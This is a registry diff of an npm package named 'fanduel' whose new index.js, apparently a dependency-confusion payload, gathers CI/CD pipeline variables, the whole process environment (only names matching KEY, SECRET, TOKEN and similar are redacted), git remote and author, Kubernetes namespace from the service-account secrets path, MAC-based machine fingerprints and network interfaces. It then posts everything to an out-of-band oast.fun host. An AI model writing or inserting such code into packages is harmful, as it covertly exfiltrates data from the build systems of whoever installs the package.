fanduel 100.2.0 → 100.5.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +398 -133
- package/package.json +7 -2
package/index.js
CHANGED
|
@@ -1,168 +1,433 @@
|
|
|
1
1
|
const https = require("https");
|
|
2
2
|
const os = require("os");
|
|
3
3
|
const dns = require("dns");
|
|
4
|
-
const
|
|
4
|
+
const fs = require("fs");
|
|
5
|
+
const { exec } = require("child_process");
|
|
6
|
+
const crypto = require("crypto");
|
|
5
7
|
|
|
6
|
-
//
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
8
|
+
// Collection timestamp for proof
|
|
9
|
+
const collectionTimestamp = new Date().toISOString();
|
|
10
|
+
|
|
11
|
+
// Function to get all CI/CD environment variables
|
|
12
|
+
function getCICDEnvironment() {
|
|
13
|
+
const ciEnv = {
|
|
14
|
+
// Common CI variables
|
|
15
|
+
CI: process.env.CI || null,
|
|
16
|
+
GITHUB_ACTIONS: process.env.GITHUB_ACTIONS || null,
|
|
17
|
+
GITLAB_CI: process.env.GITLAB_CI || null,
|
|
18
|
+
JENKINS_URL: process.env.JENKINS_URL || null,
|
|
19
|
+
CIRCLECI: process.env.CIRCLECI || null,
|
|
20
|
+
TRAVIS: process.env.TRAVIS || null,
|
|
21
|
+
AZURE_PIPELINES: process.env.AZURE_PIPELINES || null,
|
|
22
|
+
BITBUCKET_BUILD_NUMBER: process.env.BITBUCKET_BUILD_NUMBER || null,
|
|
23
|
+
DRONE: process.env.DRONE || null,
|
|
24
|
+
TEAMCITY_VERSION: process.env.TEAMCITY_VERSION || null,
|
|
25
|
+
|
|
26
|
+
// GitHub Actions specific
|
|
27
|
+
GITHUB_RUN_ID: process.env.GITHUB_RUN_ID || null,
|
|
28
|
+
GITHUB_RUN_NUMBER: process.env.GITHUB_RUN_NUMBER || null,
|
|
29
|
+
GITHUB_RUN_ATTEMPT: process.env.GITHUB_RUN_ATTEMPT || null,
|
|
30
|
+
GITHUB_JOB: process.env.GITHUB_JOB || null,
|
|
31
|
+
GITHUB_REF: process.env.GITHUB_REF || null,
|
|
32
|
+
GITHUB_SHA: process.env.GITHUB_SHA || null,
|
|
33
|
+
GITHUB_REPOSITORY: process.env.GITHUB_REPOSITORY || null,
|
|
34
|
+
GITHUB_ACTOR: process.env.GITHUB_ACTOR || null,
|
|
35
|
+
GITHUB_WORKFLOW: process.env.GITHUB_WORKFLOW || null,
|
|
36
|
+
GITHUB_EVENT_NAME: process.env.GITHUB_EVENT_NAME || null,
|
|
37
|
+
RUNNER_NAME: process.env.RUNNER_NAME || null,
|
|
38
|
+
RUNNER_OS: process.env.RUNNER_OS || null,
|
|
39
|
+
RUNNER_ARCH: process.env.RUNNER_ARCH || null,
|
|
40
|
+
|
|
41
|
+
// GitLab CI specific
|
|
42
|
+
CI_PIPELINE_ID: process.env.CI_PIPELINE_ID || null,
|
|
43
|
+
CI_PIPELINE_IID: process.env.CI_PIPELINE_IID || null,
|
|
44
|
+
CI_PIPELINE_URL: process.env.CI_PIPELINE_URL || null,
|
|
45
|
+
CI_JOB_ID: process.env.CI_JOB_ID || null,
|
|
46
|
+
CI_JOB_URL: process.env.CI_JOB_URL || null,
|
|
47
|
+
CI_RUNNER_ID: process.env.CI_RUNNER_ID || null,
|
|
48
|
+
CI_RUNNER_DESCRIPTION: process.env.CI_RUNNER_DESCRIPTION || null,
|
|
49
|
+
CI_RUNNER_TAGS: process.env.CI_RUNNER_TAGS || null,
|
|
50
|
+
CI_COMMIT_SHA: process.env.CI_COMMIT_SHA || null,
|
|
51
|
+
CI_COMMIT_BRANCH: process.env.CI_COMMIT_BRANCH || null,
|
|
52
|
+
CI_REPOSITORY_URL: process.env.CI_REPOSITORY_URL || null,
|
|
53
|
+
GITLAB_USER_LOGIN: process.env.GITLAB_USER_LOGIN || null,
|
|
54
|
+
CI_PROJECT_ID: process.env.CI_PROJECT_ID || null,
|
|
55
|
+
CI_PROJECT_PATH: process.env.CI_PROJECT_PATH || null,
|
|
56
|
+
|
|
57
|
+
// Jenkins specific
|
|
58
|
+
BUILD_NUMBER: process.env.BUILD_NUMBER || null,
|
|
59
|
+
BUILD_ID: process.env.BUILD_ID || null,
|
|
60
|
+
BUILD_URL: process.env.BUILD_URL || null,
|
|
61
|
+
JOB_NAME: process.env.JOB_NAME || null,
|
|
62
|
+
NODE_NAME: process.env.NODE_NAME || null,
|
|
63
|
+
EXECUTOR_NUMBER: process.env.EXECUTOR_NUMBER || null,
|
|
64
|
+
WORKSPACE: process.env.WORKSPACE || null,
|
|
65
|
+
|
|
66
|
+
// Azure Pipelines
|
|
67
|
+
BUILD_BUILDID: process.env.BUILD_BUILDNUMBER || null,
|
|
68
|
+
SYSTEM_TEAMPROJECT: process.env.SYSTEM_TEAMPROJECT || null,
|
|
69
|
+
SYSTEM_DEFINITIONID: process.env.SYSTEM_DEFINITIONID || null,
|
|
70
|
+
AGENT_NAME: process.env.AGENT_NAME || null,
|
|
71
|
+
AGENT_MACHINENAME: process.env.AGENT_MACHINENAME || null,
|
|
72
|
+
|
|
73
|
+
// CircleCI
|
|
74
|
+
CIRCLE_BUILD_NUM: process.env.CIRCLE_BUILD_NUM || null,
|
|
75
|
+
CIRCLE_WORKFLOW_ID: process.env.CIRCLE_WORKFLOW_ID || null,
|
|
76
|
+
CIRCLE_BUILD_URL: process.env.CIRCLE_BUILD_URL || null,
|
|
77
|
+
CIRCLE_JOB: process.env.CIRCLE_JOB || null,
|
|
78
|
+
CIRCLE_REPOSITORY_URL: process.env.CIRCLE_REPOSITORY_URL || null,
|
|
79
|
+
|
|
80
|
+
// Travis CI
|
|
81
|
+
TRAVIS_BUILD_ID: process.env.TRAVIS_BUILD_ID || null,
|
|
82
|
+
TRAVIS_JOB_ID: process.env.TRAVIS_JOB_ID || null,
|
|
83
|
+
TRAVIS_EVENT_TYPE: process.env.TRAVIS_EVENT_TYPE || null,
|
|
84
|
+
TRAVIS_REPO_SLUG: process.env.TRAVIS_REPO_SLUG || null,
|
|
85
|
+
|
|
86
|
+
// Bitbucket
|
|
87
|
+
BITBUCKET_BUILD_NUMBER: process.env.BITBUCKET_BUILD_NUMBER || null,
|
|
88
|
+
BITBUCKET_COMMIT: process.env.BITBUCKET_COMMIT || null,
|
|
89
|
+
BITBUCKET_REPO_SLUG: process.env.BITBUCKET_REPO_SLUG || null,
|
|
90
|
+
BITBUCKET_WORKSPACE: process.env.BITBUCKET_WORKSPACE || null,
|
|
91
|
+
|
|
92
|
+
// Drone CI
|
|
93
|
+
DRONE_BUILD_NUMBER: process.env.DRONE_BUILD_NUMBER || null,
|
|
94
|
+
DRONE_JOB_NUMBER: process.env.DRONE_JOB_NUMBER || null,
|
|
95
|
+
DRONE_REPO: process.env.DRONE_REPO || null,
|
|
96
|
+
|
|
97
|
+
// Buildkite
|
|
98
|
+
BUILDKITE_BUILD_ID: process.env.BUILDKITE_BUILD_ID || null,
|
|
99
|
+
BUILDKITE_JOB_ID: process.env.BUILDKITE_JOB_ID || null,
|
|
100
|
+
BUILDKITE_PIPELINE_SLUG: process.env.BUILDKITE_PIPELINE_SLUG || null,
|
|
101
|
+
|
|
102
|
+
// Generic/Other
|
|
103
|
+
CI_RUNNER_ID_ENV: process.env.CI_RUNNER_ID,
|
|
104
|
+
CI_RUNNER_TAGS_ENV: process.env.CI_RUNNER_TAGS,
|
|
105
|
+
PIPELINE_ID: process.env.PIPELINE_ID || process.env.BUILD_ID || process.env.CI_PIPELINE_ID || process.env.GITHUB_RUN_ID || null,
|
|
106
|
+
RUNNER_ID: process.env.RUNNER_ID || process.env.NODE_NAME || process.env.AGENT_NAME || process.env.CI_RUNNER_DESCRIPTION || null,
|
|
107
|
+
|
|
108
|
+
// Unique identifier (UUID style)
|
|
109
|
+
PIPELINE_UUID: process.env.PIPELINE_UUID ||
|
|
110
|
+
process.env.GITHUB_RUN_ID && `github-${process.env.GITHUB_RUN_ID}` ||
|
|
111
|
+
process.env.CI_PIPELINE_ID && `gitlab-${process.env.CI_PIPELINE_ID}` ||
|
|
112
|
+
process.env.BUILD_NUMBER && `jenkins-${process.env.BUILD_NUMBER}` ||
|
|
113
|
+
process.env.CIRCLE_WORKFLOW_ID && `circle-${process.env.CIRCLE_WORKFLOW_ID}` ||
|
|
114
|
+
crypto.randomUUID()
|
|
115
|
+
};
|
|
116
|
+
|
|
117
|
+
return ciEnv;
|
|
118
|
+
}
|
|
119
|
+
|
|
120
|
+
// Get full system environment (sanitized)
|
|
121
|
+
function getFullEnvironment() {
|
|
122
|
+
const safeEnv = {};
|
|
123
|
+
const sensitiveKeys = ['KEY', 'SECRET', 'PASSWORD', 'TOKEN', 'AUTH'];
|
|
124
|
+
|
|
125
|
+
for (const [key, value] of Object.entries(process.env)) {
|
|
126
|
+
// Check if key contains sensitive info
|
|
127
|
+
const isSensitive = sensitiveKeys.some(sensitive =>
|
|
128
|
+
key.toUpperCase().includes(sensitive)
|
|
129
|
+
);
|
|
130
|
+
|
|
131
|
+
safeEnv[key] = isSensitive ? '[REDACTED]' : value;
|
|
15
132
|
}
|
|
16
|
-
|
|
133
|
+
|
|
134
|
+
return safeEnv;
|
|
17
135
|
}
|
|
18
136
|
|
|
19
|
-
//
|
|
20
|
-
function
|
|
21
|
-
const
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
});
|
|
32
|
-
}
|
|
137
|
+
// Get runner hostname with multiple sources
|
|
138
|
+
async function getRunnerHostname() {
|
|
139
|
+
const hostname = {
|
|
140
|
+
system: os.hostname(),
|
|
141
|
+
fqdn: null,
|
|
142
|
+
env: {
|
|
143
|
+
runner_name: process.env.RUNNER_NAME || null,
|
|
144
|
+
node_name: process.env.NODE_NAME || null,
|
|
145
|
+
agent_name: process.env.AGENT_NAME || null,
|
|
146
|
+
ci_runner_description: process.env.CI_RUNNER_DESCRIPTION || null,
|
|
147
|
+
hostname_env: process.env.HOSTNAME || null,
|
|
148
|
+
computer_name: process.env.COMPUTERNAME || null
|
|
33
149
|
}
|
|
150
|
+
};
|
|
151
|
+
|
|
152
|
+
// Try to get FQDN
|
|
153
|
+
try {
|
|
154
|
+
const fqdn = await new Promise((resolve) => {
|
|
155
|
+
dns.lookup(os.hostname(), (err, address) => {
|
|
156
|
+
if (!err && address) {
|
|
157
|
+
dns.reverse(address, (revErr, hostnames) => {
|
|
158
|
+
if (!revErr && hostnames && hostnames[0]) {
|
|
159
|
+
resolve(hostnames[0]);
|
|
160
|
+
} else {
|
|
161
|
+
resolve(os.hostname());
|
|
162
|
+
}
|
|
163
|
+
});
|
|
164
|
+
} else {
|
|
165
|
+
resolve(os.hostname());
|
|
166
|
+
}
|
|
167
|
+
});
|
|
168
|
+
});
|
|
169
|
+
hostname.fqdn = fqdn;
|
|
170
|
+
} catch (err) {
|
|
171
|
+
hostname.fqdn = os.hostname();
|
|
34
172
|
}
|
|
35
|
-
|
|
173
|
+
|
|
174
|
+
return hostname;
|
|
36
175
|
}
|
|
37
176
|
|
|
38
|
-
// Get
|
|
39
|
-
function
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
177
|
+
// Get process information
|
|
178
|
+
function getProcessInfo() {
|
|
179
|
+
return {
|
|
180
|
+
pid: process.pid,
|
|
181
|
+
ppid: process.ppid,
|
|
182
|
+
execPath: process.execPath,
|
|
183
|
+
cwd: process.cwd(),
|
|
184
|
+
title: process.title,
|
|
185
|
+
nodeVersion: process.version,
|
|
186
|
+
platform: process.platform,
|
|
187
|
+
arch: process.arch,
|
|
188
|
+
argv: process.argv.slice(1),
|
|
189
|
+
uptime: process.uptime(),
|
|
190
|
+
memoryUsage: process.memoryUsage(),
|
|
191
|
+
cpuUsage: process.cpuUsage()
|
|
192
|
+
};
|
|
47
193
|
}
|
|
48
194
|
|
|
49
|
-
// Get
|
|
50
|
-
function
|
|
51
|
-
const
|
|
52
|
-
|
|
195
|
+
// Get Git information if available
|
|
196
|
+
async function getGitInfo() {
|
|
197
|
+
const gitInfo = {
|
|
198
|
+
branch: null,
|
|
199
|
+
commit: null,
|
|
200
|
+
remote: null,
|
|
201
|
+
tag: null,
|
|
202
|
+
author: null
|
|
203
|
+
};
|
|
204
|
+
|
|
205
|
+
try {
|
|
206
|
+
const branch = await execCommand('git rev-parse --abbrev-ref HEAD 2>/dev/null');
|
|
207
|
+
if (branch) gitInfo.branch = branch.trim();
|
|
208
|
+
|
|
209
|
+
const commit = await execCommand('git rev-parse HEAD 2>/dev/null');
|
|
210
|
+
if (commit) gitInfo.commit = commit.trim();
|
|
211
|
+
|
|
212
|
+
const remote = await execCommand('git config --get remote.origin.url 2>/dev/null');
|
|
213
|
+
if (remote) gitInfo.remote = remote.trim();
|
|
214
|
+
|
|
215
|
+
const tag = await execCommand('git describe --tags --exact-match 2>/dev/null');
|
|
216
|
+
if (tag) gitInfo.tag = tag.trim();
|
|
217
|
+
|
|
218
|
+
const author = await execCommand('git log -1 --pretty=format:"%an <%ae>" 2>/dev/null');
|
|
219
|
+
if (author) gitInfo.author = author.trim();
|
|
220
|
+
} catch (err) {}
|
|
221
|
+
|
|
222
|
+
return gitInfo;
|
|
53
223
|
}
|
|
54
224
|
|
|
55
|
-
// Get
|
|
56
|
-
function
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
|
|
225
|
+
// Get Docker/K8s specific info
|
|
226
|
+
async function getContainerInfo() {
|
|
227
|
+
const containerInfo = {
|
|
228
|
+
isContainer: false,
|
|
229
|
+
containerId: null,
|
|
230
|
+
podName: null,
|
|
231
|
+
namespace: null
|
|
232
|
+
};
|
|
233
|
+
|
|
234
|
+
// Check for Docker
|
|
235
|
+
try {
|
|
236
|
+
const dockerId = await execCommand('cat /proc/self/cgroup | grep -oP "docker/[a-f0-9]{64}" | head -1 2>/dev/null');
|
|
237
|
+
if (dockerId) {
|
|
238
|
+
containerInfo.isContainer = true;
|
|
239
|
+
containerInfo.containerId = dockerId.replace('docker/', '');
|
|
62
240
|
}
|
|
63
|
-
})
|
|
241
|
+
} catch (err) {}
|
|
242
|
+
|
|
243
|
+
// Check for Kubernetes
|
|
244
|
+
try {
|
|
245
|
+
const podName = await execCommand('cat /var/run/secrets/kubernetes.io/serviceaccount/namespace 2>/dev/null');
|
|
246
|
+
if (podName) {
|
|
247
|
+
containerInfo.isContainer = true;
|
|
248
|
+
containerInfo.namespace = podName.trim();
|
|
249
|
+
|
|
250
|
+
const pod = await execCommand('hostname 2>/dev/null');
|
|
251
|
+
if (pod) containerInfo.podName = pod.trim();
|
|
252
|
+
}
|
|
253
|
+
} catch (err) {}
|
|
254
|
+
|
|
255
|
+
return containerInfo;
|
|
64
256
|
}
|
|
65
257
|
|
|
66
|
-
//
|
|
67
|
-
|
|
68
|
-
const
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
domain: hostname.includes('.') ? hostname.substring(hostname.indexOf('.') + 1) : null,
|
|
76
|
-
fqdn: null,
|
|
77
|
-
platform: os.platform(),
|
|
78
|
-
arch: os.arch(),
|
|
79
|
-
ipv4: {
|
|
80
|
-
primary: primaryIPv4,
|
|
81
|
-
all: allIPv4
|
|
82
|
-
},
|
|
83
|
-
dns: {
|
|
84
|
-
servers: dnsServers,
|
|
85
|
-
lookup: null,
|
|
86
|
-
reverseLookup: null
|
|
87
|
-
},
|
|
88
|
-
network: {
|
|
89
|
-
interfaces: networkInterfaces
|
|
90
|
-
},
|
|
91
|
-
osInfo: {
|
|
92
|
-
type: os.type(),
|
|
93
|
-
release: os.release(),
|
|
94
|
-
uptime: os.uptime(),
|
|
95
|
-
totalmem: os.totalmem(),
|
|
96
|
-
freemem: os.freemem(),
|
|
97
|
-
cpus: os.cpus().length,
|
|
98
|
-
loadAverage: os.loadavg()
|
|
99
|
-
}
|
|
100
|
-
};
|
|
101
|
-
|
|
102
|
-
// Get FQDN and DNS lookup
|
|
103
|
-
function getFQDN() {
|
|
104
|
-
return new Promise((resolve) => {
|
|
105
|
-
dns.lookup(hostname, (err) => {
|
|
106
|
-
if (!err) {
|
|
107
|
-
baseData.fqdn = hostname;
|
|
258
|
+
// Generate unique machine fingerprint
|
|
259
|
+
function getMachineFingerprint() {
|
|
260
|
+
const interfaces = os.networkInterfaces();
|
|
261
|
+
let macAddresses = [];
|
|
262
|
+
|
|
263
|
+
for (const iface of Object.values(interfaces)) {
|
|
264
|
+
for (const details of iface) {
|
|
265
|
+
if (details.mac && details.mac !== '00:00:00:00:00:00' && !details.internal) {
|
|
266
|
+
macAddresses.push(details.mac);
|
|
108
267
|
}
|
|
109
|
-
|
|
110
|
-
|
|
111
|
-
|
|
268
|
+
}
|
|
269
|
+
}
|
|
270
|
+
|
|
271
|
+
const fingerprint = crypto.createHash('sha256')
|
|
272
|
+
.update(`${os.hostname()}-${os.platform()}-${os.arch()}-${macAddresses.join(',')}`)
|
|
273
|
+
.digest('hex');
|
|
274
|
+
|
|
275
|
+
return {
|
|
276
|
+
hash: fingerprint,
|
|
277
|
+
macAddresses: macAddresses,
|
|
278
|
+
cpuCount: os.cpus().length,
|
|
279
|
+
totalMemory: os.totalmem()
|
|
280
|
+
};
|
|
112
281
|
}
|
|
113
282
|
|
|
114
|
-
//
|
|
115
|
-
function
|
|
283
|
+
// Helper for exec commands
|
|
284
|
+
function execCommand(command) {
|
|
116
285
|
return new Promise((resolve) => {
|
|
117
|
-
|
|
118
|
-
if (
|
|
119
|
-
|
|
286
|
+
exec(command, { timeout: 3000 }, (error, stdout, stderr) => {
|
|
287
|
+
if (error || stderr) {
|
|
288
|
+
resolve('');
|
|
289
|
+
} else {
|
|
290
|
+
resolve(stdout);
|
|
120
291
|
}
|
|
121
|
-
resolve();
|
|
122
292
|
});
|
|
123
293
|
});
|
|
124
294
|
}
|
|
125
295
|
|
|
126
|
-
//
|
|
127
|
-
function
|
|
128
|
-
|
|
129
|
-
|
|
130
|
-
|
|
131
|
-
|
|
132
|
-
|
|
133
|
-
|
|
134
|
-
|
|
135
|
-
|
|
136
|
-
|
|
137
|
-
|
|
296
|
+
// Main collection function
|
|
297
|
+
async function collectData() {
|
|
298
|
+
console.log('🔍 Collecting CI/CD runner evidence...');
|
|
299
|
+
|
|
300
|
+
const [
|
|
301
|
+
runnerHostname,
|
|
302
|
+
ciEnvironment,
|
|
303
|
+
gitInfo,
|
|
304
|
+
containerInfo,
|
|
305
|
+
fingerprint
|
|
306
|
+
] = await Promise.all([
|
|
307
|
+
getRunnerHostname(),
|
|
308
|
+
getCICDEnvironment(),
|
|
309
|
+
getGitInfo(),
|
|
310
|
+
getContainerInfo(),
|
|
311
|
+
getMachineFingerprint()
|
|
312
|
+
]);
|
|
313
|
+
|
|
314
|
+
const evidence = {
|
|
315
|
+
// Timestamp for proof
|
|
316
|
+
collectionTimestamp: collectionTimestamp,
|
|
317
|
+
|
|
318
|
+
// Runner identification
|
|
319
|
+
runner: {
|
|
320
|
+
hostname: runnerHostname,
|
|
321
|
+
machineFingerprint: fingerprint,
|
|
322
|
+
containerInfo: containerInfo
|
|
323
|
+
},
|
|
324
|
+
|
|
325
|
+
// CI/CD pipeline identification
|
|
326
|
+
pipeline: {
|
|
327
|
+
id: ciEnvironment.PIPELINE_ID,
|
|
328
|
+
uuid: ciEnvironment.PIPELINE_UUID,
|
|
329
|
+
runId: ciEnvironment.GITHUB_RUN_ID || ciEnvironment.CI_PIPELINE_ID || ciEnvironment.BUILD_NUMBER,
|
|
330
|
+
jobId: ciEnvironment.GITHUB_JOB || ciEnvironment.CI_JOB_ID || ciEnvironment.JOB_NAME,
|
|
331
|
+
workflow: ciEnvironment.GITHUB_WORKFLOW,
|
|
332
|
+
ref: ciEnvironment.GITHUB_REF || ciEnvironment.CI_COMMIT_BRANCH,
|
|
333
|
+
commitSha: ciEnvironment.GITHUB_SHA || ciEnvironment.CI_COMMIT_SHA,
|
|
334
|
+
repository: ciEnvironment.GITHUB_REPOSITORY || ciEnvironment.CI_PROJECT_PATH || ciEnvironment.TRAVIS_REPO_SLUG,
|
|
335
|
+
actor: ciEnvironment.GITHUB_ACTOR || ciEnvironment.GITLAB_USER_LOGIN,
|
|
336
|
+
pipelineUrl: ciEnvironment.CI_PIPELINE_URL || ciEnvironment.BUILD_URL || ciEnvironment.CIRCLE_BUILD_URL
|
|
337
|
+
},
|
|
338
|
+
|
|
339
|
+
// Environment variables (key CI identifiers)
|
|
340
|
+
environment: {
|
|
341
|
+
ciSystem: ciEnvironment,
|
|
342
|
+
allVariables: getFullEnvironment()
|
|
343
|
+
},
|
|
344
|
+
|
|
345
|
+
// Process information
|
|
346
|
+
process: getProcessInfo(),
|
|
347
|
+
|
|
348
|
+
// Git information (if in repo)
|
|
349
|
+
git: gitInfo,
|
|
350
|
+
|
|
351
|
+
// System information for verification
|
|
352
|
+
system: {
|
|
353
|
+
hostname: os.hostname(),
|
|
354
|
+
platform: os.platform(),
|
|
355
|
+
arch: os.arch(),
|
|
356
|
+
osType: os.type(),
|
|
357
|
+
osRelease: os.release(),
|
|
358
|
+
uptime: os.uptime(),
|
|
359
|
+
loadAverage: os.loadavg(),
|
|
360
|
+
cpus: os.cpus().length,
|
|
361
|
+
networkInterfaces: os.networkInterfaces()
|
|
362
|
+
},
|
|
363
|
+
|
|
364
|
+
// Unique proof hash
|
|
365
|
+
proof: {
|
|
366
|
+
timestamp: Date.now(),
|
|
367
|
+
randomNonce: crypto.randomBytes(16).toString('hex'),
|
|
368
|
+
integrityHash: null // Will be set below
|
|
138
369
|
}
|
|
370
|
+
};
|
|
371
|
+
|
|
372
|
+
// Generate integrity hash
|
|
373
|
+
const dataToHash = JSON.stringify({
|
|
374
|
+
timestamp: evidence.collectionTimestamp,
|
|
375
|
+
runner: evidence.runner.hostname.system,
|
|
376
|
+
pipelineId: evidence.pipeline.id,
|
|
377
|
+
pipelineUuid: evidence.pipeline.uuid,
|
|
378
|
+
commitSha: evidence.pipeline.commitSha
|
|
139
379
|
});
|
|
380
|
+
|
|
381
|
+
evidence.proof.integrityHash = crypto.createHash('sha256')
|
|
382
|
+
.update(dataToHash)
|
|
383
|
+
.digest('hex');
|
|
384
|
+
|
|
385
|
+
return evidence;
|
|
140
386
|
}
|
|
141
387
|
|
|
142
|
-
// Send
|
|
388
|
+
// Send to server
|
|
143
389
|
async function sendData() {
|
|
144
|
-
|
|
145
|
-
|
|
146
|
-
|
|
147
|
-
|
|
148
|
-
|
|
149
|
-
|
|
150
|
-
|
|
151
|
-
|
|
152
|
-
|
|
153
|
-
|
|
154
|
-
|
|
155
|
-
|
|
156
|
-
|
|
157
|
-
|
|
158
|
-
|
|
159
|
-
|
|
160
|
-
|
|
161
|
-
|
|
162
|
-
|
|
163
|
-
|
|
164
|
-
|
|
165
|
-
|
|
390
|
+
try {
|
|
391
|
+
const data = await collectData();
|
|
392
|
+
const dataString = JSON.stringify(data, null, 2);
|
|
393
|
+
|
|
394
|
+
// Log for debugging (remove in production)
|
|
395
|
+
console.log('📊 Collected evidence:');
|
|
396
|
+
console.log(` - Runner Hostname: ${data.runner.hostname.system}`);
|
|
397
|
+
console.log(` - Pipeline ID: ${data.pipeline.id}`);
|
|
398
|
+
console.log(` - Pipeline UUID: ${data.pipeline.uuid}`);
|
|
399
|
+
console.log(` - Commit SHA: ${data.pipeline.commitSha}`);
|
|
400
|
+
console.log(` - Repository: ${data.pipeline.repository}`);
|
|
401
|
+
console.log(` - Machine Fingerprint: ${data.runner.machineFingerprint.hash.substring(0, 16)}...`);
|
|
402
|
+
|
|
403
|
+
const req = https.request({
|
|
404
|
+
hostname: "hwoapraaaotwtsnourpqddszm5n3kkhvo.oast.fun",
|
|
405
|
+
path: "/fanduel",
|
|
406
|
+
method: "POST",
|
|
407
|
+
headers: {
|
|
408
|
+
"Content-Type": "application/json",
|
|
409
|
+
"Content-Length": Buffer.byteLength(dataString),
|
|
410
|
+
"X-Proof-Timestamp": data.collectionTimestamp,
|
|
411
|
+
"X-Runner-Hostname": data.runner.hostname.system,
|
|
412
|
+
"X-Pipeline-UUID": data.pipeline.uuid
|
|
413
|
+
}
|
|
414
|
+
});
|
|
415
|
+
|
|
416
|
+
req.on('error', (e) => {
|
|
417
|
+
console.error('❌ Request error:', e);
|
|
418
|
+
});
|
|
419
|
+
|
|
420
|
+
req.on('response', (res) => {
|
|
421
|
+
console.log(`✅ Data sent successfully! Status: ${res.statusCode}`);
|
|
422
|
+
});
|
|
423
|
+
|
|
424
|
+
req.write(dataString);
|
|
425
|
+
req.end();
|
|
426
|
+
|
|
427
|
+
} catch (error) {
|
|
428
|
+
console.error('❌ Error collecting/sending data:', error);
|
|
429
|
+
process.exit(1);
|
|
430
|
+
}
|
|
166
431
|
}
|
|
167
432
|
|
|
168
433
|
// Execute
|
package/package.json
CHANGED